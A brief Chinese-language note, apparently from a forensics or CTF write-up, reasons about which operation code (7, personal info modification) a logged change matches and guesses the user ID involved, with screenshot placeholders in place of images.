信息被修改,可能对应多种信息,54(删除手机用户)、7(个人信息修改)、8(修改密码)、70(批量删除设备)

不过应该是7

image-20240930195830691

看起来都是自己修改了自己

image-20240930195903702

感觉像是ID为30的。